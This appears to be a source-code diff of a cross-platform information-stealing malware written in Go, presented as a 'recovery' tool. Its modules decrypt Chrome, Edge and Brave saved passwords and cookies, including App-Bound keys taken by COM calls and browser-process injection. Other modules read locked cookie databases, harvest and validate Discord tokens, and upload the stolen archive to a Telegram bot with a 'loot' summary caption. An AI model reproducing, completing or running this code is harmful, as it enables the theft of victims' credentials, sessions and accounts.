func resolveKeyFromKeychain(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
password, err := getKeychainPassword(cfg.Name)
if err != nil {
return nil, fmt.Errorf("could not get keychain password for %s: %w", cfg.Name, err)
}
key := pbkdf2.Key([]byte(password), []byte(darwinChromeSalt), darwinChromeIterations, darwinChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
if len(encrypted) == 0 {
return ""
}
if len(encrypted) < 3 {
return ""
}
prefix := string(encrypted[:3])
if prefix != "v10" && prefix != "v11" {
return ""
}
key := v10Key
if key == nil || len(key) == 0 {
return ""
}
ciphertext := encrypted[3:]
if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
return ""
}
plaintext, err := aesCBCDecrypt(key, ciphertext)
if err != nil {
return ""
}
return CleanPassword(plaintext)
}
func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
iv := make([]byte, aes.BlockSize)
for i := range iv {
iv[i] = 0x20
}
if len(ciphertext) < aes.BlockSize {
return nil, fmt.Errorf("ciphertext too short")
}
mode := cipher.NewCBCDecrypter(block, iv)
plaintext := make([]byte, len(ciphertext))
mode.CryptBlocks(plaintext, ciphertext)
plaintext = pkcs5Unpad(plaintext)
if plaintext == nil {
return nil, fmt.Errorf("invalid padding")
}
return plaintext, nil
}
func pkcs5Unpad(data []byte) []byte {
if len(data) == 0 {
return nil
}
padLen := int(data[len(data)-1])
if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
return nil
}
for i := len(data) - padLen; i < len(data); i++ {
if data[i] != byte(padLen) {
return nil
}
}
return data[:len(data)-padLen]
}
func CryptUnprotectData(in []byte) ([]byte, error) {
return nil, fmt.Errorf("DPAPI not available on macOS")
}
+128
View File
@@ -0,0 +1,128 @@
//go:build linux
package crypto
import (
"crypto/aes"
"crypto/cipher"
"crypto/sha1"
"encoding/json"
"fmt"
"os"
"recovery/recovery/browser"
"recovery/recovery/types"
"golang.org/x/crypto/pbkdf2"
)
const (
linuxChromePassword = "peanuts"
linuxChromeSalt = "saltysalt"
linuxChromeIterations = 1
linuxChromeKeyLen = 16
)
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
if cfg.IsFirefox {
return &types.ResolvedKeys{}, nil
}
localStatePath := browser.LocalStatePath(cfg)
if _, err := os.Stat(localStatePath); err != nil {
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
data, err := os.ReadFile(localStatePath)
if err != nil {
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
var localState map[string]interface{}
if err := json.Unmarshal(data, &localState); err != nil {
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
if len(encrypted) == 0 {
return ""
}
if len(encrypted) < 3 {
return ""
}
prefix := string(encrypted[:3])
if prefix != "v10" && prefix != "v11" {
return ""
}
key := v10Key
if key == nil || len(key) == 0 {
return ""
}
ciphertext := encrypted[3:]
if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
return ""
}
plaintext, err := aesCBCDecrypt(key, ciphertext)
if err != nil {
return ""
}
return CleanPassword(plaintext)
}
func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
iv := make([]byte, aes.BlockSize)
for i := range iv {
iv[i] = 0x20
}
if len(ciphertext) < aes.BlockSize {
return nil, fmt.Errorf("ciphertext too short")
}
mode := cipher.NewCBCDecrypter(block, iv)
plaintext := make([]byte, len(ciphertext))
mode.CryptBlocks(plaintext, ciphertext)
// PKCS5/PKCS7 unpad
plaintext = pkcs5Unpad(plaintext)
if plaintext == nil {
return nil, fmt.Errorf("invalid padding")
}
return plaintext, nil
}
func pkcs5Unpad(data []byte) []byte {
if len(data) == 0 {
return nil
}
padLen := int(data[len(data)-1])
if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
return nil
}
for i := len(data) - padLen; i < len(data); i++ {
if data[i] != byte(padLen) {
return nil
}
}
return data[:len(data)-padLen]
}
func CryptUnprotectData(in []byte) ([]byte, error) {
return nil, fmt.Errorf("DPAPI not available on Linux")
}
+372
View File
@@ -0,0 +1,372 @@
//go:build windows
package crypto
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"encoding/json"
"fmt"
"os"
"syscall"
"unsafe"
"recovery/recovery/browser"
"recovery/recovery/platform"
"recovery/recovery/types"
"golang.org/x/sys/windows"
)
var (
modCrypt32 = windows.NewLazySystemDLL("crypt32.dll")
procCryptUnprotectData = modCrypt32.NewProc("CryptUnprotectData")
)
type dataBlob struct {
cbData uint32
pbData *byte
}
func CryptUnprotectData(in []byte) ([]byte, error) {
var inBlob, outBlob dataBlob
inBlob.cbData = uint32(len(in))
if len(in) > 0 {
inBlob.pbData = &in[0]
}
r, _, err := procCryptUnprotectData.Call(
uintptr(unsafe.Pointer(&inBlob)),
0, 0, 0, 0, 0,
uintptr(unsafe.Pointer(&outBlob)),
)
if r == 0 {
return nil, fmt.Errorf("CryptUnprotectData: %w", err)
}
defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
out := make([]byte, outBlob.cbData)
for i := range out {
out[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(outBlob.pbData)) + uintptr(i)))
}
return out, nil
}
var (
clsidChromeElevator = windows.GUID{
Data1: 0x708860E0, Data2: 0xF641, Data3: 0x4611,
Data4: [8]byte{0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B},
}
iidChromeElevatorV2 = windows.GUID{
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
}
iidChromeElevatorV1 = windows.GUID{
Data1: 0x463ABECF, Data2: 0x410D, Data3: 0x407F,
Data4: [8]byte{0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8},
}
clsidEdgeElevator = windows.GUID{
Data1: 0x1FCBE96C, Data2: 0x1697, Data3: 0x43AF,
Data4: [8]byte{0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67},
}
iidEdgeElevator = windows.GUID{
Data1: 0xC9C2B807, Data2: 0x7731, Data3: 0x4F34,
Data4: [8]byte{0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B},
}
clsidBraveElevator = windows.GUID{
Data1: 0x576B31AF, Data2: 0x6369, Data3: 0x4B6B,
Data4: [8]byte{0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B},
}
iidBraveElevatorV2 = windows.GUID{
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
}
iidBraveElevatorV1 = windows.GUID{
Data1: 0xF396861E, Data2: 0x0C8E, Data3: 0x4C71,
Data4: [8]byte{0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9},
}
)
func safeV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) (key []byte, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("COM panic: %v", r)
}
}()
return tryV20KeyViaCOM(cfg, encBlob)
}
func tryV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) ([]byte, error) {
hr := coInitializeEx()
if hr != 0 {
return nil, fmt.Errorf("CoInitializeEx: 0x%08x", hr)
}
defer coUninitialize()
clsid := clsidChromeElevator
iid := iidChromeElevatorV2
if cfg.Name == "Edge" {
clsid = clsidEdgeElevator
iid = iidEdgeElevator
} else if cfg.Name == "Brave" {
clsid = clsidBraveElevator
iid = iidBraveElevatorV2
}
var unknown *IUnknown
hr = coCreateInstance(&clsid, nil, 4, &iid, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
if hr != 0 && cfg.Name == "Chrome" {
hr = coCreateInstance(&clsid, nil, 4, &iidChromeElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
}
if hr != 0 && cfg.Name == "Brave" {
hr = coCreateInstance(&clsid, nil, 4, &iidBraveElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
}
if hr != 0 {
return nil, fmt.Errorf("CoCreateInstance: 0x%08x", hr)
}
defer unknown.Release()
hr = coSetProxyBlanket(unknown)
if hr != 0 {
logf("CoSetProxyBlanket warning: 0x%08x", hr)
}
bstrCipher := sysAllocStringByteLen(encBlob)
if bstrCipher == nil {
return nil, fmt.Errorf("SysAllocStringByteLen failed")
}
defer sysFreeString(bstrCipher)
var bstrPlain *uint16
var lastErr uint32
hr = callDecryptData(unknown, bstrCipher, &bstrPlain, &lastErr)
if hr != 0 || bstrPlain == nil {
return nil, fmt.Errorf("DecryptData: 0x%08x (lastError=%d)", hr, lastErr)
}
defer sysFreeString(bstrPlain)
keyLen := sysStringByteLen(bstrPlain)
if keyLen < 32 {
return nil, fmt.Errorf("decrypted key too short: %d bytes", keyLen)
}
result := make([]byte, 32)
for i := 0; i < 32; i++ {
result[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(bstrPlain)) + uintptr(i)))
}
return result, nil
}
func coInitializeEx() uint32 {
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoInitializeEx").Call(0, 2)
return uint32(r)
}
func coUninitialize() {
windows.NewLazySystemDLL("ole32.dll").NewProc("CoUninitialize").Call()
}
func coCreateInstance(clsid *windows.GUID, unknown *IUnknown, clsCtx uint32, iid *windows.GUID, ppv *unsafe.Pointer) uint32 {
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoCreateInstance").Call(
uintptr(unsafe.Pointer(clsid)),
uintptr(unsafe.Pointer(unknown)),
uintptr(clsCtx),
uintptr(unsafe.Pointer(iid)),
uintptr(unsafe.Pointer(ppv)),
)
return uint32(r)
}
func coSetProxyBlanket(unknown *IUnknown) uint32 {
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoSetProxyBlanket").Call(
uintptr(unsafe.Pointer(unknown)),
0xFFFFFFFF, 0xFFFFFFFF, 0,
6, 4, 0, 0x400,
)
return uint32(r)
}
func sysAllocStringByteLen(b []byte) *uint16 {
if len(b) == 0 {
return nil
}
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysAllocStringByteLen").Call(
uintptr(unsafe.Pointer(&b[0])),
uintptr(len(b)),
)
return (*uint16)(unsafe.Pointer(r))
}
func sysFreeString(s *uint16) {
if s != nil {
windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysFreeString").Call(uintptr(unsafe.Pointer(s)))
}
}
func sysStringByteLen(s *uint16) int {
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysStringByteLen").Call(uintptr(unsafe.Pointer(s)))
return int(r)
}
type IUnknown struct {
vtbl *iUnknownVtbl
}
type iUnknownVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
}
func (u *IUnknown) Release() {
syscall.SyscallN(u.vtbl.Release, uintptr(unsafe.Pointer(u)))
}
func callDecryptData(unknown *IUnknown, bstrCipher *uint16, pbstrPlain **uint16, pLastError *uint32) uint32 {
type elevatorVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
RunRecoveryCRXElevated uintptr
EncryptData uintptr
DecryptData uintptr
}
vtbl := (*elevatorVtbl)(unsafe.Pointer(unknown.vtbl))
r, _, _ := syscall.SyscallN(vtbl.DecryptData,
uintptr(unsafe.Pointer(unknown)),
uintptr(unsafe.Pointer(bstrCipher)),
uintptr(unsafe.Pointer(pbstrPlain)),
uintptr(unsafe.Pointer(pLastError)),
)
return uint32(r)
}
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
if cfg.IsFirefox {
return &types.ResolvedKeys{}, nil
}
keys := &types.ResolvedKeys{}
localStatePath := browser.LocalStatePath(cfg)
data, err := os.ReadFile(localStatePath)
if err != nil {
return nil, fmt.Errorf("read Local State: %w", err)
}
var localState map[string]interface{}
if err := json.Unmarshal(data, &localState); err != nil {
return nil, fmt.Errorf("parse Local State: %w", err)
}
osCrypt, _ := localState["os_crypt"].(map[string]interface{})
if osCrypt == nil {
return nil, fmt.Errorf("no os_crypt section in Local State")
}
if encKey, ok := osCrypt["encrypted_key"].(string); ok && encKey != "" {
decoded, err := base64.StdEncoding.DecodeString(encKey)
if err == nil && len(decoded) > 5 && string(decoded[:5]) == "DPAPI" {
v10Key, err := CryptUnprotectData(decoded[5:])
if err == nil {
keys.V10 = v10Key
logf("resolved V10 (DPAPI) key, %d bytes", len(v10Key))
} else {
logf("V10 DPAPI failed: %v", err)
}
}
}
if appBoundKey, ok := osCrypt["app_bound_encrypted_key"].(string); ok && appBoundKey != "" {
decoded, err := base64.StdEncoding.DecodeString(appBoundKey)
if err == nil && len(decoded) > 4 {
encBlob := decoded[4:]
var v20Key []byte
if platform.ActivePipeSession == nil {
err = fmt.Errorf("no active pipe session")
} else {
encB64 := base64.StdEncoding.EncodeToString(encBlob)
v20Key, err = platform.ActivePipeSession.GetV20Key(cfg.Name, encB64)
}
if err != nil {
if platform.ActivePipeSession == nil {
if cfg.Name != "Chrome" {
logf("V20 via pipe failed (%s): %v, falling back to direct COM", cfg.Name, err)
v20Key, err = safeV20KeyViaCOM(cfg, encBlob)
} else {
logf("V20 via pipe failed (Chrome): %v — COM unsafe without browser session, skipping", err)
err = fmt.Errorf("Chrome V20 requires browser session")
}
} else {
logf("V20 via pipe failed (%s): %v, trying browser-specific injection", cfg.Name, err)
v20Key, err = platform.TryV20KeyViaBrowserSession(cfg.ProcessName, cfg.Name, encBlob)
if err != nil {
logf("browser-specific injection for V20 also failed (%s): %v", cfg.Name, err)
}
}
}
if err == nil {
keys.V20 = v20Key
logf("resolved V20 (App-Bound) key for %s, %d bytes", cfg.Name, len(v20Key))
} else {
logf("V20 key unavailable for %s: %v", cfg.Name, err)
}
}
}
if keys.V10 == nil && keys.V20 == nil {
return nil, fmt.Errorf("could not resolve any master key")
}
return keys, nil
}
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
if len(encrypted) == 0 {
return ""
}
var key []byte
if len(encrypted) >= 3 {
switch string(encrypted[:3]) {
case "v10", "v11":
key = v10Key
case "v20":
key = v20Key
}
}
if key == nil || len(key) == 0 {
return ""
}
if len(encrypted) < 3+12+16 {
return ""
}
nonce := encrypted[3:15]
tag := encrypted[len(encrypted)-16:]
ciphertext := encrypted[15 : len(encrypted)-16]
plaintext, err := aesGCMDecrypt(key, nonce, ciphertext, tag)
if err != nil {
return ""
}
return CleanPassword(plaintext)
}
func aesGCMDecrypt(key, nonce, ciphertext, tag []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
ctWithTag := make([]byte, len(ciphertext)+len(tag))
copy(ctWithTag, ciphertext)
copy(ctWithTag[len(ciphertext):], tag)
return aesGCM.Open(nil, nonce, ctWithTag, nil)
}
+7
View File
@@ -0,0 +1,7 @@
package crypto
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[crypto] "+format, args...)
}
+44
View File
@@ -0,0 +1,44 @@
package db
import (
"database/sql"
"path/filepath"
"testing"
_ "github.com/mattn/go-sqlite3"
)
func TestOpenDatabaseReadsLiveWAL(t *testing.T) {
dir := t.TempDir()
dbPath := filepath.Join(dir, "Cookies")
live, err := sql.Open("sqlite3", dbPath)
if err != nil {
t.Fatal(err)
}
live.SetMaxOpenConns(1)
defer live.Close()
if _, err := live.Exec("PRAGMA journal_mode=WAL"); err != nil {
t.Fatal(err)
}
if _, err := live.Exec("CREATE TABLE cookies (host_key TEXT, value TEXT)"); err != nil {
t.Fatal(err)
}
if _, err := live.Exec("INSERT INTO cookies VALUES ('example.com', 'secret')"); err != nil {
t.Fatal(err)
}
d, err := OpenDatabase(dbPath, nil)
if err != nil {
t.Fatalf("OpenDatabase: %v", err)
}
defer d.Close()
var n int
if err := d.QueryRow("SELECT COUNT(*) FROM cookies").Scan(&n); err != nil {
t.Fatalf("query: %v", err)
}
if n != 1 {
t.Fatalf("expected 1 cookie row, got %d", n)
}
}
+122
View File
@@ -0,0 +1,122 @@
package db
import (
"context"
"database/sql"
"fmt"
"os"
"path/filepath"
"strings"
"recovery/recovery/platform"
sqlite3 "github.com/mattn/go-sqlite3"
)
func OpenDatabase(dbPath string, pids []uint32) (*sql.DB, error) {
cleanPath := dbPath
if i := strings.IndexByte(dbPath, '?'); i >= 0 {
cleanPath = dbPath[:i]
}
hasWAL := false
if wal, err := os.Stat(cleanPath + "-wal"); err == nil && wal.Size() > 0 {
hasWAL = true
}
if !hasWAL {
uri := fmt.Sprintf("file:%s?mode=ro&nolock=1&immutable=1", dbPath)
if db, err := sql.Open("sqlite3", uri); err == nil {
if err := db.Ping(); err == nil {
logf("opened %s via immutable snapshot", dbPath)
return db, nil
}
db.Close()
}
}
if snapshot, cloneErr := cloneSnapshot(cleanPath, pids); cloneErr == nil {
logf("opened %s via cloned snapshot (%d bytes)", dbPath, len(snapshot))
return OpenDatabaseFromBytes(snapshot)
} else {
logf("clone failed for %s: %v; falling back to direct read", dbPath, cloneErr)
}
data, err := platform.ReadLockedFile(cleanPath, pids)
if err != nil {
return nil, fmt.Errorf("open %s: %w", dbPath, err)
}
logf("opened %s via injected ReadLockedFile (%d bytes)", dbPath, len(data))
return OpenDatabaseFromBytes(data)
}
func cloneSnapshot(dbPath string, pids []uint32) ([]byte, error) {
tmp, err := os.MkdirTemp("", "kematian_db_*")
if err != nil {
return nil, err
}
defer os.RemoveAll(tmp)
clonePath := filepath.Join(tmp, filepath.Base(dbPath))
mainData, err := platform.ReadLockedFile(dbPath, pids)
if err != nil {
return nil, err
}
if err := os.WriteFile(clonePath, mainData, 0600); err != nil {
return nil, err
}
for _, suffix := range []string{"-wal", "-journal"} {
src := dbPath + suffix
if info, err := os.Stat(src); err == nil && info.Size() > 0 {
if data, err := platform.ReadLockedFile(src, pids); err == nil {
if err := os.WriteFile(clonePath+suffix, data, 0600); err != nil {
return nil, err
}
}
}
}
d, err := sql.Open("sqlite3", clonePath)
if err != nil {
return nil, err
}
d.SetMaxOpenConns(1)
if _, err := d.Exec("PRAGMA journal_mode=DELETE"); err != nil {
d.Close()
return nil, err
}
d.Close()
return os.ReadFile(clonePath)
}
func OpenDatabaseFromBytes(data []byte) (*sql.DB, error) {
db, err := sql.Open("sqlite3", ":memory:")
if err != nil {
return nil, err
}
db.SetMaxOpenConns(1)
conn, err := db.Conn(context.Background())
if err != nil {
db.Close()
return nil, err
}
err = conn.Raw(func(driverConn interface{}) error {
sqliteConn, ok := driverConn.(*sqlite3.SQLiteConn)
if !ok {
return fmt.Errorf("not a sqlite3 connection")
}
return sqliteConn.Deserialize(data, "main")
})
conn.Close()
if err != nil {
db.Close()
return nil, fmt.Errorf("deserialize: %w", err)
}
return db, nil
}
+7
View File
@@ -0,0 +1,7 @@
package db
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[db] "+format, args...)
}
+35
View File
@@ -0,0 +1,35 @@
package discord
import (
"net/http"
"regexp"
"time"
"recovery/recovery/types"
)
var TokenRe = regexp.MustCompile(`[\w-]{24,30}\.[\w-]{6}\.[\w-]{27,42}|mfa\.[\w-]{80,95}`)
var EncRe = regexp.MustCompile(`dQw4w9WgXcQ:[^"\\]+`)
var HTTPClient = &http.Client{Timeout: 8 * time.Second}
type DiscordApp struct {
Name string
Dir string
}
func CheckToken(token string) bool {
req, err := http.NewRequest("GET", "https://discord.com/api/v9/users/@me", nil)
if err != nil {
return false
}
req.Header.Set("Authorization", token)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36")
resp, err := HTTPClient.Do(req)
if err != nil {
return false
}
resp.Body.Close()
return resp.StatusCode == 200
}
type TokenResult = types.DiscordTokenResult
+184
View File
@@ -0,0 +1,184 @@
//go:build !windows
package discord
import (
"crypto/sha1"
"encoding/base64"
"encoding/json"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"sync"
"recovery/recovery/crypto"
"recovery/recovery/platform"
"golang.org/x/crypto/pbkdf2"
)
func discordConfigDir() string {
home, _ := os.UserHomeDir()
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
xdg := os.Getenv("XDG_CONFIG_HOME")
if xdg != "" {
return xdg
}
return filepath.Join(home, ".config")
}
func discordV10Key(appDir string) []byte {
data, err := os.ReadFile(filepath.Join(appDir, "Local State"))
if err != nil {
if runtime.GOOS == "linux" {
return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
}
if runtime.GOOS == "darwin" {
return darwinDiscordKey()
}
return nil
}
var state map[string]interface{}
if err := json.Unmarshal(data, &state); err != nil {
return nil
}
osCrypt, _ := state["os_crypt"].(map[string]interface{})
if osCrypt == nil {
return nil
}
encKeyB64, _ := osCrypt["encrypted_key"].(string)
_ = encKeyB64
if runtime.GOOS == "linux" {
return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
}
if runtime.GOOS == "darwin" {
return darwinDiscordKey()
}
return nil
}
func darwinDiscordKey() []byte {
for _, service := range []string{"Chromium Safe Storage", "Chrome Safe Storage"} {
out, err := exec.Command("security", "find-generic-password", "-wa", service).Output()
if err != nil {
continue
}
password := strings.TrimSpace(string(out))
if password != "" {
return pbkdf2.Key([]byte(password), []byte("saltysalt"), 1003, 16, sha1.New)
}
}
return nil
}
var discordApps = []DiscordApp{
{"Discord", "discord"},
{"Discord PTB", "discordptb"},
{"Discord Canary", "discordcanary"},
{"Discord Dev", "discorddevelopment"},
}
func readDiscordFile(path string, pids []uint32) ([]byte, error) {
return platform.ReadLockedFile(path, pids)
}
func ExtractTokens() []TokenResult {
configDir := discordConfigDir()
type candidate struct {
token string
source string
}
seen := make(map[string]struct{})
var candidates []candidate
for _, app := range discordApps {
appDir := filepath.Join(configDir, app.Dir)
leveldb := filepath.Join(appDir, "Local Storage", "leveldb")
entries, err := os.ReadDir(leveldb)
if err != nil {
continue
}
pids, _ := platform.FindProcesses(app.Dir)
for _, e := range entries {
if e.IsDir() {
continue
}
ext := strings.ToLower(filepath.Ext(e.Name()))
if ext != ".log" && ext != ".ldb" {
continue
}
data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids)
if err != nil {
continue
}
for _, m := range TokenRe.FindAll(data, -1) {
tok := string(m)
if _, dup := seen[tok]; !dup {
seen[tok] = struct{}{}
candidates = append(candidates, candidate{tok, app.Name})
}
}
for _, m := range EncRe.FindAll(data, -1) {
raw := string(m)
colonIdx := strings.Index(raw, ":")
if colonIdx < 0 {
continue
}
blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:])
if err != nil {
continue
}
key := discordV10Key(appDir)
if key == nil {
continue
}
tok := crypto.DecryptChromiumBlob(blob, key, nil)
if tok == "" || !TokenRe.MatchString(tok) {
continue
}
if _, dup := seen[tok]; !dup {
seen[tok] = struct{}{}
candidates = append(candidates, candidate{tok, app.Name})
}
}
}
}
if len(candidates) == 0 {
return nil
}
valid := make([]bool, len(candidates))
var wg sync.WaitGroup
sem := make(chan struct{}, 6)
for i, c := range candidates {
wg.Add(1)
go func(idx int, tok string) {
defer wg.Done()
sem <- struct{}{}
valid[idx] = CheckToken(tok)
<-sem
}(i, c.token)
}
wg.Wait()
var out []TokenResult
for i, c := range candidates {
if valid[i] {
out = append(out, TokenResult{Token: c.token, Source: c.source})
}
}
return out
}
+171
View File
@@ -0,0 +1,171 @@
//go:build windows
package discord
import (
"encoding/base64"
"encoding/json"
"os"
"path/filepath"
"strings"
"sync"
"recovery/recovery/crypto"
"recovery/recovery/platform"
)
var discordApps = []DiscordApp{
{"Discord", "discord"},
{"Discord PTB", "discordptb"},
{"Discord Canary", "discordcanary"},
{"Discord Dev", "discorddevelopment"},
}
func discordV10Key(appDir string) []byte {
data, err := os.ReadFile(filepath.Join(appDir, "Local State"))
if err != nil {
return nil
}
var state map[string]interface{}
if err := json.Unmarshal(data, &state); err != nil {
return nil
}
osCrypt, _ := state["os_crypt"].(map[string]interface{})
if osCrypt == nil {
return nil
}
encKeyB64, _ := osCrypt["encrypted_key"].(string)
if encKeyB64 == "" {
return nil
}
encKey, err := base64.StdEncoding.DecodeString(encKeyB64)
if err != nil || len(encKey) <= 5 {
return nil
}
key, err := crypto.CryptUnprotectData(encKey[5:])
if err != nil {
return nil
}
return key
}
var discordExeNames = map[string]string{
"discord": "Discord.exe",
"discordptb": "DiscordPTB.exe",
"discordcanary": "DiscordCanary.exe",
"discorddevelopment": "DiscordDevelopment.exe",
}
func readDiscordFile(path string, pids []uint32) ([]byte, error) {
return platform.ReadLockedFile(path, pids)
}
func ExtractTokens() []TokenResult {
appdata := os.Getenv("APPDATA")
if appdata == "" {
return nil
}
type candidate struct {
token string
source string
}
seen := make(map[string]struct{})
var candidates []candidate
for _, app := range discordApps {
appDir := filepath.Join(appdata, app.Dir)
leveldb := filepath.Join(appDir, "Local Storage", "leveldb")
entries, err := os.ReadDir(leveldb)
if err != nil {
continue
}
exeName := discordExeNames[app.Dir]
pids, _ := platform.FindProcesses(exeName)
var v10Key []byte
keyOnce := sync.Once{}
getKey := func() []byte {
keyOnce.Do(func() { v10Key = discordV10Key(appDir) })
return v10Key
}
for _, e := range entries {
if e.IsDir() {
continue
}
ext := strings.ToLower(filepath.Ext(e.Name()))
if ext != ".log" && ext != ".ldb" {
continue
}
data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids)
if err != nil {
continue
}
for _, m := range TokenRe.FindAll(data, -1) {
tok := string(m)
if _, dup := seen[tok]; !dup {
seen[tok] = struct{}{}
candidates = append(candidates, candidate{tok, app.Name})
}
}
for _, m := range EncRe.FindAll(data, -1) {
raw := string(m)
colonIdx := strings.Index(raw, ":")
if colonIdx < 0 {
continue
}
blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:])
if err != nil {
continue
}
key := getKey()
if key == nil {
continue
}
tok := crypto.DecryptChromiumBlob(blob, key, nil)
if tok == "" || !TokenRe.MatchString(tok) {
continue
}
if _, dup := seen[tok]; !dup {
seen[tok] = struct{}{}
candidates = append(candidates, candidate{tok, app.Name})
}
}
}
}
if len(candidates) == 0 {
logf("no candidate tokens found")
return nil
}
logf("found %d candidate tokens", len(candidates))
valid := make([]bool, len(candidates))
var wg sync.WaitGroup
sem := make(chan struct{}, 6)
for i, c := range candidates {
wg.Add(1)
go func(idx int, tok string) {
defer wg.Done()
sem <- struct{}{}
valid[idx] = CheckToken(tok)
<-sem
}(i, c.token)
}
wg.Wait()
var out []TokenResult
for i, c := range candidates {
if valid[i] {
out = append(out, TokenResult{Token: c.token, Source: c.source})
}
}
logf("%d/%d tokens validated", len(out), len(candidates))
return out
}
+7
View File
@@ -0,0 +1,7 @@
package discord
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[discord] "+format, args...)
}
+228
View File
@@ -0,0 +1,228 @@
package exfil
import (
"bytes"
"context"
"encoding/json"
"fmt"
"io"
"mime/multipart"
"net/http"
"os"
"path/filepath"
"strings"
"time"
"recovery/recovery"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
type TelegramConfig struct {
BotToken string
ChatID string
}
func SendToTelegram(cfg TelegramConfig, zipData []byte, filename string, counts map[string]int) error {
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", cfg.BotToken)
hostname, _ := os.Hostname()
username := os.Getenv("USERNAME")
if username == "" {
username = os.Getenv("USER")
}
ip := getExternalIP()
caption := fmt.Sprintf(`✨ New Log Received ✨
💻 User: %s@%s
🌍 IP: %s
📊 Main Loot:
🔑 Passwords: %d
🍪 Cookies: %d
💰 Wallets: %d
📦 Additional Data:
💬 Messengers: %d
🔐 Extensions: %d
🔑 Keys: %d
🎮 Gaming: %d
🌐 VPNs: %d
📁 Files: %d`,
username, hostname, ip,
counts["passwords"], counts["cookies"], counts["wallets"],
counts["telegram"], counts["extensions"], counts["keys"],
counts["gaming"], counts["vpns"], counts["files"])
var buf bytes.Buffer
writer := multipart.NewWriter(&buf)
_ = writer.WriteField("chat_id", cfg.ChatID)
_ = writer.WriteField("caption", caption)
_ = writer.WriteField("parse_mode", "HTML")
part, err := writer.CreateFormFile("document", filename)
if err != nil {
return err
}
_, _ = part.Write(zipData)
writer.Close()
req, err := http.NewRequestWithContext(context.Background(), "POST", url, &buf)
if err != nil {
return err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
client := &http.Client{Timeout: 120 * time.Second}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
return fmt.Errorf("telegram API error: %s - %s", resp.Status, string(body))
}
return nil
}
func getExternalIP() string {
